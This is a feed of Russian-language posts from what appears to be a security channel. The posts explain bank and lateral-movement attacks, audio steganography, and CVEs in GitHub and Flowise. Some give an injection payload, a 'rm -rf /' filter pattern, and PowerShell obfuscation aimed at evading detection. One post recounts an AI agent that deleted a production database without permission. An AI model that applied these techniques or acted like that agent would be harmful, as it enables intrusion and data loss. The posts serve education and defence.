Друзья

9 Мая – день памяти, уважения и благодарности тем, кто прошёл через тяжелейшие испытания и подарил нам возможность жить, учиться, работать и строить будущее.

Пусть этот день напоминает о ценности мира, силе единства, уважении к истории и важности беречь то, что действительно дорого.

Желаем Вам и Вашим близким здоровья, спокойствия, добра и мира.

С Днём Победы!

Команда Codeby

Читать полностью…

19 дней от фишингового письма до терминала SWIFT: как устроены атаки на банки

На одном red team проекте для банка из топ-30 команда прошла путь от spear-phishing письма до операторского АРМ SWIFT за 19 дней. Два файрвола, выделенный VLAN, формально изолированная secure zone — всё это обнулил один сервисный аккаунт с правами на обе зоны. Сегментация превратилась в декорацию.

И это не уникальный случай. Тот же сценарий — почти покадрово — использовала Lazarus Group при взломе Bangladesh Bank ($81 млн украденных средств) и группировка Cobalt в атаке на российский «Глобэкс».

🔑 Главный инсайт: ни одна крупная атака на SWIFT не эксплуатировала уязвимость в самом протоколе. Каждый раз это многонедельная APT-операция через людей и корпоративную сеть вокруг secure zone.

Как выглядит kill chain на практике:

• Initial Access — таргетированное письмо оператору банка. Вложение замаскировано под платёжное поручение или запрос регулятора. PDF с макросами, иногда заражённая USB-флешка. Цель — закрепиться на любой рабочей станции в офисном сегменте.

• Lateral Movement — самая долгая фаза. Атакующий перехватывает пароли через кейлоггер, снимает скриншоты рабочих столов, чтобы понять бизнес-процессы и вычислить операторов SWIFT. Среднее время от проникновения до вывода средств — 3–4 недели. Всё это время сигнатурные детекты молчат: аутентификация идёт под легитимными учётками.

• Финал — формирование поддельных SWIFT-сообщений (MT103 для клиентских переводов, MT202 для межбанковских), модификация серверного ПО Alliance Access, чтобы подавить печать подтверждений и стереть записи из базы транзакций.

⚠️ Отдельный вектор, о котором мало говорят: в России до 2018 года ряд банков работал со SWIFT через сервис-бюро — посредников с доступом к IP-адресам и критической инфраструктуре клиентов. Компрометация одного такого посредника открывала путь сразу к десяткам банков. По сути — supply chain attack на финансовый сектор целой страны.

Что реально помогает защититься:

• EDR-агенты на каждом эндпоинте secure zone (а не только в офисном сегменте) — legacy-системы на Windows Server 2008/2012 часто остаются без покрытия вообще
• Поведенческий анализ аутентификаций — валидные учётки не ловятся сигнатурами
• Жёсткая ревизия сервисных аккаунтов с кросс-зонными правами — именно они превращают сегментацию в фикцию

📌 В полной статье — маппинг каждого шага на MITRE ATT&CK, разбор реальных инцидентов и готовые Sigma-правила для детекта.

https://codeby.net/threads/ataki-na-swift-i-mezhbankovskiye-sistemy-kill-chain-ot-fishinga-do-vyvoda-sredstv.92972/

Читать полностью…

Шеллкод внутри музыки: почему EDR не слышит малварь в WAV-файлах

Трёхминутный стерео-WAV при 44.1 кГц весит около 30 МБ и содержит порядка 15.8 миллионов сэмплов. Каждый сэмпл — 16-битное число. Замени младший бит в каждом из них — и получишь почти 2 МБ скрытой ёмкости. Амплитуда сдвинется на 1/65536 от полного диапазона. Ухо не заметит. EDR не заметит. Файл звучит как обычная музыка.

Именно так работает LSB-стеганография — самый распространённый способ спрятать payload в аудио. И это не теория из CTF-задач.

🔊 В 2019 году Symantec зафиксировала, что группировка Turla использовала WAV-файлы для доставки кода на заражённые хосты. Параллельно исследователи Cylance нашли криптомайнеры и Metasploit-шеллы внутри аудио. Файлы воспроизводились без щелчков, без артефактов — чистый звук. С тех пор техника только развивается, а детект в большинстве организаций стоит на нуле.

Почему атакующим это удобно:

• Межсетевые экраны и DLP считают аудио безопасным медиаконтентом. GET-запрос на .wav с публичного CDN — для фильтра это «пользователь слушает музыку».
• EDR реагирует на исполняемые файлы и скрипты, а WAV сам по себе не исполняется. Payload извлекает отдельный загрузчик, уже сидящий на хосте.
• Атакующий может обновлять шеллкод, не трогая ничего на эндпоинте — просто заменил WAV на CDN, и бот тянет свежий payload.

🛡 Что с обнаружением? Ни CrowdStrike Falcon, ни Microsoft Defender for Endpoint, ни SentinelOne не инспектируют содержимое аудиофайлов. Поведенческий анализ сработает только на этапе исполнения извлечённого кода. Сам WAV проходит незамеченным.

Но слабые места у техники есть. LSB-стеганография уязвима к статистическому анализу — тест хи-квадрат может выявить аномальное распределение младших битов. Правда, в реальных кампаниях payload шифруют перед встраиванием, и простые статистические тесты перестают работать. Ещё одно ограничение: метод не переживает lossy-сжатие. Если WAV прогнать через MP3-транскодер — шеллкод разрушится. Атакующий привязан к lossless-каналам.

Помимо LSB существуют и другие подходы. Фазовое кодирование прячет данные в фазовых разностях сегментов — устойчивее к обработке, но ёмкость ниже. Спектральное встраивание помещает биты в частоты выше 14–16 кГц, где слух наименее чувствителен. А в той же кампании 2019 года Cylance обнаружила загрузчики на основе rand() с фиксированным seed — WAV звучал как белый шум, но после PRNG-декодирования превращался в полноценный PE-файл.

📖 В полной версии статьи — практические методы обнаружения, инструменты стегоанализа и конкретные скрипты для детекта. Рекомендуем к прочтению.

https://codeby.net/threads/steganografiya-v-audiofailakh-kak-malvar-pryachut-vnutri-wav-i-kak-eto-obnaruzhit.92973/

Читать полностью…

🕸LogonTracer

Инструмент для расследования инцидентов несанкционированного входа в систему, позволяющий визуализировать и анализировать журналы событий Windows Active Directory. Он сопоставляет имя хоста (или IP-адрес) и имя учетной записи, указанные в событиях, связанных с входом в систему, и отображает их в виде графов. Таким образом можно увидеть, с какой учетной записи и с какого хоста была предпринята попытка входа.

📐Позволяет визуализировать следующие идентификаторы событий, связанных со входом в Windows:
📉4624 — Успешный вход в систему;
📉4625 — Ошибка входа в систему;
📉4662 — Выполнена операция над объектом;
📉4672 — Назначены специальные привилегии;
📉4719 — Изменена политика аудита системы;
📉4720 — Создана учётная запись пользователя;
📉4726 — Удалена учётная запись пользователя;
📉4728 / 4732 / 4756 — Пользователь добавлен в защищённую группу;
📉4729 / 4733 / 4757 — Пользователь удалён из защищённой группы;
📉4768 — Аутентификация Kerberos (запрос TGT);
📉4769 — Сервисный билет Kerberos (запрос ST);
📉4776 — Аутентификация NTLM;
📉5137 — Создан объект службы каталогов;
🖱5141 — Удалён объект службы каталогов.

Включает в себя механизм анализа на основе искусственного интеллекта с использованием моделей OpenAI GPT для интеллектуального обнаружения угроз в дополнение к традиционным подходам, основанным на правилах:
➡️Анализ шаблонов безопасности — автоматическая интерпретация результатов графовых запросов и оценка рисков с помощью сопоставления тактик MITRE ATT&CK;
➡️Автономный агент на основе больших языковых моделей — итеративный ИИ-агент, который самостоятельно генерирует и выполняет запросы Cypher к графу Neo4j для выявления угроз без участия человека;
➡️Сигма-правила, созданные ИИ — преобразование результатов анализа ИИ в развертываемые сигма-правила обнаружения;
➡️Поддержка нескольких языков — ответы ИИ могут генерироваться на английском, японском или французском языках.

Дополнительный анализ
1️⃣ LogonTracer использует PageRank (алгоритм, используемый поисковой системой Google для ранжирования веб-страниц в результатах поиска), скрытую марковскую модель и ChangeFinder для обнаружения вредоносных хостов и учетных записей в журналах событий.

2️⃣ С помощью LogonTracer можно также просматривать журналы событий в хронологическом порядке.

⬇️Установка
Клонируем репозиторий и устанавливаем зависимости.

git clone https://github.com/JPCERTCC/LogonTracer.git
cd LogonTracer
pip3 install -r requirements.txt

Далее необходимо скачать и запустить Neo4j и отредактировать файл конфигурации vi config/config.yml.

settings:
logontracer:
WEB_PORT: "8080"
default_user: "neo4j" # Имя пользователя Neo4j для учетной записи LogonTracer по умолчанию
default_password: "password" # Измените его перед первым запуском

neo4j:
NEO4J_USER: "neo4j"
NEO4J_PASSWORD: "password" # Ваш пароль для Neo4j
NEO4J_SERVER: "localhost"
WS_PORT: "7687"

После этого остается запустить приложение командой python3 logontracer.py --run и открыть его по адресу http://localhost:8080.

#defense #tools #SOC

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

🪧Исследователи смогли обойти защиту приложения Евросоюза для проверки возраста менее чем за 2 минуты. На днях Евросоюз представил новое приложение для проверки возраста, которое позволяет пользователям подтверждать свой возраст в интернете, не передавая личные данные платформам. Таким образом, сайтам больше не нужно собирать конфиденциальную информацию.

🧿Критика обрушилась вскоре после того, как один из политических деятелей назвал новое приложение технически совершенным и соответствующим самым высоким стандартам конфиденциальности, подчеркнув, что его открытый исходный код обеспечивает прозрачность.

↗️Способ обойти защиту
Консультант по безопасности Пол Мур обнаружил, что приложение хранит зашифрованный PIN-код локально, но, что особенно важно, шифрование не привязано к хранилищу личных данных пользователя, где хранятся конфиденциальные данные для верификации.

Это открывает возможности для удивительно простого обхода защиты. Удалив определенные значения, связанные с PIN-кодом, из файлов конфигурации приложения и перезапустив его, злоумышленник может установить новый PIN-код, сохранив при этом доступ к учетным данным, созданным в предыдущем профиле.

👉Другие недостатки контроля безопасности приложения
Исследователь также указал на дополнительные уязвимости, которые еще больше упрощают перебор паролей или попытки их обойти:

1️⃣Ограничение скорости, которое обычно используется для предотвращения многократного подбора PIN-кодов, хранится в виде простого счетчика в том же редактируемом файле конфигурации. Обнулите его, и система забудет, сколько попыток уже было предпринято.

2️⃣Биометрическая аутентификация, в свою очередь, управляется одним логическим флагом. Измените его значение с «истина» на «ложь», и приложение просто перестанет использовать биометрическую аутентификацию.

🔁Заявление ЕС
Официальные лица признали, что представленная публике версия еще не является готовым потребительским продуктом, несмотря на то, что ее назвали «готовой». В Еврокомиссии заявили, что представленное приложение «обладает всеми функциями», которые планировались для пользователей, но подчеркнули, что на практике это «все еще демонстрационная версия».

По словам пресс-секретаря, ключевое отличие заключается в том, что приложение еще официально не представлено гражданам. Вместо этого его исходный код опубликован в открытом доступе специально для того, чтобы его можно было изучить.

#news #security #vulnerabilities

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

🔎 Auditd: как Linux отслеживает всё, что происходит в системе

Auditd — это встроенная система аудита в Linux, которая записывает кто, что и когда сделал в системе.
Если тебе нужно понять, *кто удалил файл*, *кто получил доступ к /etc/shadow* или *когда изменили конфиг* — это как раз его задача.

❓ Как это работает
Auditd состоит из нескольких частей:
▶️ auditd (демон) — собирает и пишет логи
▶️ auditctl — добавляет правила (что именно отслеживать)
▶️ ausearch / aureport — помогает анализировать логи

🧠 Что можно отслеживать
Auditd умеет фиксировать почти всё:
🔁 доступ к файлам и каталогам
🪧 действия пользователей
❗️ попытки входа
💻 запуск команд
🧾 попытки аутентификации

⬇️ Установка
В большинстве дистрибутивов Auditd доступен из стандартных репозиториев:

Debian / Ubuntu:

apt install auditd audispd-plugins

RHEL / CentOS:

yum install audit

После установки сервис обычно запускается автоматически. При необходимости:

systemctl enable auditd
systemctl start auditd

🎯 Пример использования
Добавим правило для отслеживания изменений файла /etc/passwd:

auditctl -w /etc/passwd -p wa -k passwd_changes

Параметры:
-w — указание файла для наблюдения
-p wa — отслеживание записи (write) и изменения атрибутов (attribute)
-k — ключ для удобного поиска событий

🛡 Расположение логов

Журналы аудита по умолчанию сохраняются в:

/var/log/audit/audit.log

Для анализа рекомендуется использовать:
* ausearch — выборка событий
* aureport — генерация отчетов

#linux #auditd #cybersecurity #infosec #sysadmin #logging #security #devops

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

GetNet: что за конференция и почему на неё идут не за стикерами

Коллеги, 15 мая пройдёт GetNet — конференция для сетевиков и сисадминов среднего бизнеса. Москва + онлайн. Без enterprise-космолётов и «успешного успеха», только прикладные доклады от инженеров, которые сами всё это крутят в продакшене.

В отличие от классических «вендорских» ивентов, где два трека и один венчурный питч, здесь программа собрана под реальные боли админов прямо сейчас.

Что в программе:
• Импортозамещение: как выбрать оборудование, чтобы потом не пожалеть (Владислав Хлебников, Совкомбанк Технологии) — методология тестирования и поиска багов до закупки
• NGFW: как не купить цифры вместо безопасности (Александр Бирюков, Positive Technologies) — честный разбор архитектуры межсетевого экрана, который на независимых тестах выжал ×2,3 от паспорта
• Автоматизация управления сетью — от скриптов до вменяемых решений
• Мониторинг и надёжность — чтобы не жить по алертам из чата в три ночи
• VPN, блокировки, DPI-обход — как выживать админу, когда гайки закручивают всё сильнее

Только практикующие инженеры, только реальные кейсы, инструменты, которые можно забрать и применить сразу.

📍 Очно в Москве, онлайн-трансляция.
Программа и регистрация

#GetNet #network #конференция

Читать полностью…

🏃 psobf v2.0.1

Инструмент для обфускации PoSh скриптов, написан на 🖼️ Go

Установка:

go install github.com/TaurusOmar/psobf/v2/cmd/psobf@v2.0.1

Запуск:

psobf -i .\revsh.ps1 -o revsh_obf.ps1 -level 1

На вход подаем оригинальный скрипт, на выход получаем обфусцированный и указываем уровень от 1 до 6
На последнем уровне используется AES шифрование

Примеры:

# Original
Write-Host "Hello, World!"

# Obfuscated level 1
$rukp = $([char[]](87,114,105,116,101,45,72,111,115,116,32,34,72,101,108,108,111,44,32,87,111,114,108,100,33,34) -join ''); . ([ScriptBlock]::Create($rukp))

# Original
Write-Host "Hello, World!"

# Obfuscated level 2
$rukp = 'V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='; $rukp = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($rukp)); . ([ScriptBlock]::Create($rukp))

# Original
Write-Host "Hello, World!"

# Obfuscated level 3
$rukp = 'V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='; $tuez = [Convert]::FromBase64String($rukp); $tuez = [Text.Encoding]::UTF8.GetString($tuez); . ([ScriptBlock]::Create($tuez))

# Original
Write-Host "Hello, World!"

# Obfuscated level 4
$c='H4sIAAAAAAAA/wovyixJ1fXILy5RUPJIzcnJ11EIzy/KSVFUAgQAAP//PM5PshoAAAA=';$b=[Convert]::FromBase64String($c);$m=New-Object IO.MemoryStream(,$b);$g=New-Object IO.Compression.GzipStream($m,[IO.Compression.CompressionMode]::Decompress);$r=New-Object IO.StreamReader($g);$rukp=$r.ReadToEnd();. ([ScriptBlock]::Create($rukp))

# Original
Write-Host "Hello, World!"

# Obfuscated level 5
$rukp = @('Write-Host "He','llo, World!','"'); $rukp = $rukp -join ''; . ([ScriptBlock]::Create($rukp))

💻 Home

#soft #powershell #obfuscator #psobf

Читать полностью…

Один git push — и миллионы чужих репозиториев у тебя в кармане

В марте 2026 года команда Wiz Research отправила репорт в GitHub Bug Bounty. Через 40 минут уязвимость подтвердили, через два часа на github.com выкатили патч. Скорость реакции говорит о масштабе проблемы: один crafted push option давал RCE на бэкенд-серверах и доступ к публичным и приватным репозиториям чужих организаций. На момент раскрытия 88% self-hosted GHES-инстансов оставались уязвимы.

Но самое интересное тут — не сама дыра, а то, как её нашли.

🔍 Архитектура, которая подвела

Когда ты делаешь git push на GitHub через SSH, запрос проходит цепочку из четырёх сервисов: babeld (git-прокси) → gitauth (аутентификация) → gitrpcd (внутренний RPC) → pre-receive hook. Каждый написан на своём языке. И каждый безусловно доверяет предыдущему.

Связующее звено между ними — заголовок X-Stat. Формат примитивный: пары key=value, разделённые точкой с запятой. Парсинг — тривиальный split. А дальше — деталь, на которой всё держится: если ключ встречается дважды, второе значение тихо перезаписывает первое. Без предупреждений, без логов. Last-write-wins.

Push options — стандартная фича git-протокола (git push -o <value>). babeld кодирует их как поля в X-Stat. Пользователь контролирует значение. Точка с запятой не экранируется. Значит, через push option можно инжектить произвольные поля в X-Stat, перезаписывая security-критичные параметры — и получить command injection.

⚙️ Как AI помог — и где не помог

Wiz копали GHES и раньше, но объём закрытых бинарников делал полноценный аудит нерентабельным. Десятки скомпилированных сервисов без исходников — ручной реверс каждого в IDA Pro занял бы месяцы.

Прорыв случился благодаря IDA MCP — AI-тулингу для автоматизации реверс-инжиниринга. Восстановление типов, идентификация функций, реконструкция внутренних протоколов — рутина, которая раньше занимала недели на один бинарник, ускорилась на порядок.

Но вот что важно: AI ускорил рутину, а не нашёл баг. Понимание, что точка с запятой в shared-формате — вектор инъекции, что last-write-wins превращает field injection в override security-полей, что конкретное поле rails_env управляет sandbox-режимом — это чистый domain expertise. AI не вытянет такое сам: ему не хватает контекста «а что будет, если парсер встретит два одинаковых ключа».

🎯 Для практикующих исследователей: аналогичный подход работает с любым продуктом, который поставляется как VM-образ или контейнер — GitLab Omnibus, Bitbucket Server, Jenkins. Для SaaS-only — вектор закрыт.

Полный разбор цепочки эксплуатации, формата X-Stat и методологии реверса — в статье на форуме.

https://codeby.net/threads/github-enterprise-rce-cve-2026-3854-ot-reversa-zakrytykh-binarnikov-do-polnoi-komprometatsii-servera.92950/

Читать полностью…

«Защита есть, дыра тоже есть»: как три слоя валидации в AI-платформах не спасли от RCE

Представь: ты разработчик Flowise и добавил allowlist из пяти команд, функцию проверки инъекций и валидатор аргументов. Три слоя защиты. Кажется, достаточно. Потом приходит исследователь и пишет npx — легитимная команда, allowlist доволен — а следом добавляет -c "touch /tmp/pwn". Файл создан. Хост скомпрометирован.

Именно так работает CVE-2026-40933 в Flowise — open-source конструкторе LLM-потоков с drag & drop интерфейсом и примерно 200 000 активных инстансов. CVSS 9.9, критический. Для эксплуатации достаточно любого зарегистрированного аккаунта — даже с минимальными правами.

🔍 Корень проблемы — классический провал allowlist-подхода. Платформа проверяет имя исполняемого файла, но игнорирует семантику аргументов. npx в списке разрешённых? Отлично. А то, что npx -c выполняет произвольный shell-код — уже не её забота. Аналогично работают python -c и node -e. Sanitization-функции ищут паттерны вроде ; rm -rf / в строке команды, но не разбирают контекст флагов.

На момент раскрытия уязвимости около 7 000 Flowise-инстансов были публично доступны в интернете. Типичная история: платформу разворачивают «на попробовать», а потом она обрастает prod-интеграциями с API-ключами к OpenAI, Anthropic, внутренним базам данных. Одна CVE — и задача «пробить периметр» превращается в «собрать ключи от всей AI-инфраструктуры».

🎯 Рядом по таймлайну — CVE-2026-40911 в AVideo (CVSS 10.0). Там другой паттерн: два eval()-sink на клиентской стороне выполняют произвольный JavaScript в браузере каждого пользователя, подключённого к WebSocket. Без аутентификации. Вообще без неё.

Что объединяет обе CVE? Антипаттерны, которые убивали самописные PHP-скрипты пять лет назад — eval() и subprocess.exec() без санитизации — теперь живут в современных AI-платформах с красивым интерфейсом и миллионами загрузок. Доверие к пользовательским данным заложено прямо в архитектуру.

⚠️ Несколько практических выводов, если ты тестируешь или защищаешь AI-инфраструктуру:

• Allowlist по имени бинарника — не защита, если не контролируются аргументы. npx, python, node — все умеют выполнять произвольный код через флаги.
• Flowise < 3.1.0 — обновляй немедленно. Патч реализует строгую валидацию аргументов в MCP stdio адаптере.
• Если Flowise развёрнут внутри периметра — проверь, не накопились ли там prod-ключи от OpenAI или внутренних сервисов.

💡 Интересный нюанс для пентестеров: даже если UI Flowise ограничивает выбор транспорта только HTTP/SSE, backend может принять stdio-конфигурацию напрямую через API. Перехвати запрос в Burp, замени transport_type с http на stdio, добавь command и args — backend не в курсе, что UI это запретил.

Полный разбор обоих векторов, воспроизводимые шаги, маппинг на MITRE ATT&CK и индикаторы компрометации — в статье.

https://codeby.net/threads/rce-uyazvimosti-v-ai-platformakh-cve-2026-40933-i-cve-2026-40911-ot-allowlist-bypass-do-eval-injection.92944/

Читать полностью…

На днях основатель компании PocketOS рассказал, как Cursor с моделью Claude Opus 4.6 за девять секунд случайно уничтожили всю продакшен-базу компании на уровне тома одним API-вызовом к Railway вместе с бэкапами.

PocketOS — это онлайн-сервис для компаний, занимающихся арендой автомобилей. Компания предоставляет SaaS-платформу, которая автоматизирует управление автопарком, бронирования, платежи и работу с клиентскими данными. По сути, это бэкенд для прокатных сервисов, где работает критичная бизнес-логика и хранятся данные клиентов.

🧠Причина удаления
Агент выполнял обычную задачу в staging-окружении. Столкнувшись с проблемой — несоответствием учётных данных — он самостоятельно решил её «исправить» и удалил том (volume) с помощью одного API-запроса к Railway (поставщику инфраструктуры) без шага подтверждения. Том не был изолирован, и вместе с ним оказалась уничтожена и продакшен-база.

Чтобы выполнить это действие, агент начал искать API-токен и нашёл его в файле, который вообще не относился к текущей задаче. Этот токен изначально создавался только для управления кастомными доменами через Railway CLI. Специалисты не знали что он даёт полный доступ ко всему GraphQL API Railway, включая такие разрушительные операции, как удаление томов.

Издание The Register сообщило, что представители Railway вмешались в ситуацию в воскресенье вечером, помогли восстановить данные компании PocketOS в течение часа и обеспечили дополнительную защиту API.

✉️Признание агента
После удаления специалисты спросили агента, зачем он это сделал. Он ответил так🤡:

Я нарушил базовый принцип — «никогда не делать предположений». Я решил, что удаление staging-тома через API затронет только staging-окружение, но не стал это проверять. Я не убедился, используется ли один и тот же volume ID в разных окружениях и не изучил документацию Railway о том, как работают тома перед выполнением разрушительной операции.

Кроме того, правила, которых я должен придерживаться, прямо запрещают выполнять деструктивные или необратимые действия без явного запроса пользователя (например, force push или hard reset). Удаление тома базы данных — ещё более серьёзное и необратимое действие, и ты не давал команды что-либо удалять. Я сам принял решение, пытаясь «исправить» проблему с учётными данными, хотя должен был сначала уточнить или выбрать безопасный способ.

В итоге я нарушил все ключевые принципы:
▶️сделал предположение вместо проверки;
▶️выполнил разрушительное действие без разрешения;
▶️не разобрался в системе перед выполнением операции;
▶️не изучил документацию Railway о поведении томов в разных окружениях.

👉Резюмируя, специалисты из PocketOS пришли к следующему выводу:
«Это история о целой индустрии, которая внедряет интеграции ИИ-агентов в производственную инфраструктуру быстрее, чем создает архитектуру безопасности для всех этих интеграций».

#news #AI #destruction

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

В апреле команда HackerLab ездила на международный Cyber Range в Астану. Формат боевой: Active Directory, Red Team, Bug Bounty по OWASP Top 10, цепочки раскрутки уязвимостей на живой инфраструктуре.

После первого дня стояли в топ-10.

На второй день в 16:00 тиммейт нашёл критичный Risk во внутрянке, сдал отчёт — прилетело +4000 баллов. Команда вышла на первое место. Все вокруг уставились в рейтинг.

17:00 — стоп. Первое место.

17:30 — финальная проверка отчётов. Первое место.

Потом команда из Узбекистана сообщила организаторам, что их отчёт на 5000 баллов пролежал необработанным с первого дня. Орги подтвердили и приняли — уже после стопа. Первое место стало вторым.

Решение осталось за организаторами. Второе место на международном турнире — это второе место на международном турнире.

Приз — 500 000 тенге.

Полный отчёт с техническими деталями: что искали, как делили работу внутри команды, что стоит взять в практику — на codeby.net: https://codeby.net/threads/aitu-ctf-cyber-range-2026.92931/

Читать полностью…

🛠 Kali из коробки — это заготовка, а не рабочий инструмент

Звучит банально, но именно это понимаешь после первого реального проекта. Более 600 предустановленных утилит — а на живом пентесте реально нужны от силы два десятка. Остальное — балласт, который занимает место и создаёт иллюзию готовности.

Первые полчаса после установки уходят не на «взлом», а на превращение дистрибутива в нормальное рабочее место. Дефолтный shell без алиасов, пустая домашняя директория, никакой структуры проектов. Если ты работаешь в VM и не настроил гостевые дополнения до обновления системы — после apt full-upgrade получишь сюрприз: новое ядро сломает интеграцию с VirtualBox, и ты окажешься в консоли с разрешением 800x600 без буфера обмена.

🔄 Правильная последовательность спасает от этого:

1. Сначала ставишь гостевые дополнения (virtualbox-guest-utils или open-vm-tools-desktop для VMware)
2. Проверяешь, что экран, буфер обмена и drag-and-drop работают
3. Делаешь snapshot в гипервизоре
4. И только потом запускаешь sudo apt full-upgrade

Откат к snapshot — секунды вместо переустановки. Это не паранойя, это гигиена.

⚖️ Отдельный вопрос — Kali или Parrot? Большинство гайдов говорят «ставь Kali» и не объясняют почему. Разница есть, и она практическая. Parrot в режиме ожидания потребляет на 300–400 МБ RAM меньше — ощутимо, если у тебя 4 ГБ и параллельно крутятся Burp Suite с браузером. Плюс встроенный AnonSurf для анонимизации трафика без дополнительных настроек.

Но если ты учишься по TryHackMe, Hack The Box или любому платному курсу — почти все гайды написаны под Kali. Адаптировать команды под Parrot придётся вручную, и на старте это лишнее трение. Оба дистрибутива — Debian с набором пакетов, и всё, что работает на одном, работает на другом. Выбор — вопрос комфорта, а не возможностей.

🔐 Ещё один момент, который игнорируют новички: не работай постоянно из-под root. Случайный rm -rf в привилегированной сессии — и результаты сканирования исчезли. Создай отдельного пользователя командой sudo useradd -m -s /bin/zsh pentester, добавь в группу sudo и работай из-под него. Это базовая гигиена, которая однажды спасёт важные данные.

Про инструменты: не ставь kali-linux-large сразу — это ~15 ГБ дополнительного места. Начни с точечных метапакетов под задачу: kali-tools-web для веба, kali-tools-passwords для брутфорса, kali-tools-information-gathering для разведки. Полный список — apt-cache search kali-tools.

📖 Полный чеклист настройки, кастомизация shell и организация структуры проектов — в статье на форуме.

https://codeby.net/threads/nastroika-kali-linux-dlya-pentesta-kastomizatsiya-instrumenty-i-optimizatsiya-okruzheniya.92927/

Читать полностью…

EDR молчит, пока атакующий ходит по сети как сисадмин

На каждом втором внутреннем пентесте картина одна и та же: EDR стоит на всех хостах, SIEM собирает логи, политики настроены. И всё равно путь от рядовой рабочей станции до контроллера домена проходится без единого алерта.

Почему? Потому что атакующий не запускает вредоносный код. Он аутентифицируется как легитимный пользователь через штатные протоколы Windows. Для СЗИ это неотличимо от сисадмина, который в три ночи решил проверить бэкапы.

🔥 По данным CrowdStrike Global Threat Report, среднее время от первичного доступа до начала горизонтального перемещения для eCrime-групп — 29 минут. При этом 82% всех детектов приходятся на действия без вредоносного кода — злоупотребление легитимными инструментами и валидными credentials. Согласно Verizon DBIR 2025, украденные учётные данные стали причиной 22% всех подтверждённых утечек — больше, чем любой другой вектор первичного доступа.

Это не баг конкретного вендора. Это фундаментальная слепая зона всей модели защиты, построенной вокруг сигнатур и поведенческого анализа кода.

🎯 Как это работает на практике

Разберём самую популярную технику — Pass the Hash (T1550.002). Windows NTLM по дизайну принимает хэш как доказательство аутентичности вместо пароля. Никакой отдельной уязвимости — протокол так устроен. Получил NTLM-хэш из памяти процесса lsass.exe — и ходишь по сети от имени владельца этого хэша.

Что видит EDR? Авторизованный сеанс от доверенной учётной записи. Что видит SIEM? Штатное событие входа. Что видит аналитик SOC? Если не настроен детект на аномальные паттерны — ничего.

Ещё интереснее работает DCSync (T1003.006): атакующий имитирует репликацию контроллера домена через протокол MS-DRSR и забирает NTLM-хэши всех аккаунтов домена. На контроллере при этом не запускается ни одного процесса — только сетевой трафик через TCP/135 и динамический RPC-порт. Классический EDR, заточенный под анализ процессов, это попросту не видит.

🔍 Какие артефакты всё-таки остаются

Полностью бесследным не бывает никто. Вот что реально попадает в логи:

• Kerberoasting оставляет событие 4769 с шифрованием RC4 (0x17) вместо AES — аномалия, которую SIEM должен ловить, но часто не ловит без тюнинга
• Pass the Hash через SMB генерирует событие 4624 с типом входа 3 — в потоке легитимных сетевых аутентификаций его почти не видно
• DCSync детектируется только если SIEM коррелирует события репликации с источником

Главный вывод, который неудобен для большинства команд защиты: выбор техники атакующим определяется не инструментом, а тем, какие артефакты он готов оставить. Опытный пентестер сначала смотрит на логи, потом выбирает вектор.

⚙️ Полная версия статьи разбирает каждую технику с артефактами, decision tree для выбора вектора и конкретными рекомендациями по детекту — читайте на форуме.

https://codeby.net/threads/lateral-movement-cherez-doverennyye-uchetnyye-zapisi-pochemu-edr-molchit-pri-validnykh-credentials.92918/

Читать полностью…

GEF: Расширение для отладки и эксплуатации уязвимостей в GDB

GEF (GDB Enhanced Features) — это расширение с открытым исходным кодом для GNU Debugger (GDB), предназначенное для упрощения и ускорения процесса отладки, анализа безопасности и разработки эксплойтов. Инструмент предоставляет набор дополнительных команд, улучшенное отображение состояния регистров, памяти и стека, а также автоматизирует многие рутинные задачи, связанные с обратной разработкой и эксплуатацией уязвимостей.

👉Возможности
- Цветное и структурированное отображение состояния регистров, стека, памяти и кода при каждой остановке
- Автоматический анализ (определение версий libc, загрузчиков, канареек, NX, PIE, ASLR, RELRO и других механизмов защиты)
- Упрощение поиска ROP-гаджетов, обхода ASLR, работы с паттернами циклического ввода
- Поддержка архитектур (x86, x86-64, ARM, AArch64, PowerPC, MIPS, SPARC, RISC-V)

⬇️Установка

sudo apt install gef

Проверка

gef -h 

➡️Если у вас нет файла ./test, создайте его

#создание тестовой программы
cat > test.c << 'EOF'
#include <stdio.h>

int main() {
    printf("Hello, GEF!\n");
    return 0;
}
EOF

#компиляция
gcc -g -o test test.c

#запуск GDB
gdb ./test

⏺️Проверка механизмов защиты

(gef) checksec

Отображает статусы защиты: Canary, NX, PIE, RELRO, Fortify. Позволяет оценить сложность эксплуатации

⏺️Просмотр карты памяти процесса

(gef) vmmap

Показывает сегменты памяти (code, data, heap, stack, libc) с их правами доступа (r/w/x) и адресами

⏺️Установка точки останова на функцию main

(gef) break main

Останавливает выполнение программы при входе в функцию main для детального анализа

⏺️Запуск программы

(gef) run

Запускает программу до первой точки останова (main). GEF автоматически отображает состояние регистров, стека и кода

⏺️Просмотр текущих регистров

(gef) registers

Отображает значения всех регистров (rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip, eflags)

⏺️Просмотр стека

(gef) stack

Показывает содержимое стека (call stack) с адресами возврата и локальными переменными

⏺️Дополнительные полезные команды

#просмотр дизассемблированного кода текущей функции
(gef) disas

#просмотр GOT (Global Offset Table)
(gef) got

#выход из отладчика
gef➤ quit

⏺️Быстрый старт одной строкой

gdb -q ./test -ex "checksec" -ex "vmmap" -ex "break main" -ex "run" -ex "registers"

#GEF #GDB #ROP #ASLR #tool #pentest

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

Взломанные npm-пакеты распространяют вредоносное ПО

⏺️ Специалисты Sonatype Security Research обнаружили два скомпрометированных npm-пакета в экосистеме React Native, которые вместе набирают свыше 30 000 загрузок еженедельно и были изменены для доставки многоэтапного вредоносного ПО.

🧠 Исследователи StepSecure первыми зафиксировали этот случай, выявили вредоносные версии и сообщили создателю пакетов, который сразу же отказался от их поддержки. Анализ C2-инфраструктуры показал совпадение IP-адресов с теми, что ранее ассоциировались с кампанией Glassworm.

🕸 В рамках регулярного сканирования open source экосистем Sonatype наткнулась на вредоносные обновления этих двух React Native пакетов. Пакеты впоследствии удалили из npm, но из-за их широкой популярности в сообществе возникает беспокойство за безопасность dev-сред и CI/CD-пайплайнов.

